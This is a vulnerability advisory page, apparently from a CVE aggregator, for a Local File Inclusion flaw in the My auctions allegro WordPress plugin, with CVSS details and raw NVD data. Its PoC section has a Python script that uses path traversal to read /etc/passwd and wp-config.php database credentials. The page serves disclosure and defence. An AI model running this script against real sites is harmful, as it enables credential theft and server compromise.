Security Vulnerability Report
中文
CVE-2025-12851 CVSS 8.1 HIGH

CVE-2025-12851

Published: 2025-12-05 10:15:46
Last Modified: 2026-04-15 00:35:42

Description

The My auctions allegro plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.6.32 via the 'controller' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

My auctions allegro plugin for WordPress <= 3.6.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12851 LFI PoC import requests target = "http://target-wordpress-site.com" plugin_path = "/wp-content/plugins/my-auctions-allegro/" # Basic LFI test - read /etc/passwd lfi_payload = "../../../../../../etc/passwd" params = {"controller": lfi_payload} response = requests.get(f"{target}{plugin_path}", params=params) print(f"Status: {response.status_code}") print(f"Content preview: {response.text[:500]}") # Read wp-config.php for database credentials config_payload = "../../../../../../wp-config.php" params = {"controller": config_payload} response = requests.get(f"{target}{plugin_path}", params=params) print("\nwp-config.php content:") print(response.text[:1000])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12851", "sourceIdentifier": "[email protected]", "published": "2025-12-05T10:15:45.530", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The My auctions allegro plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.6.32 via the 'controller' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3402268/my-auctions-allegro-free-edition", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/202a8493-6df0-4a5e-b6bf-099219830e01?source=cve", "source": "[email protected]"}]}}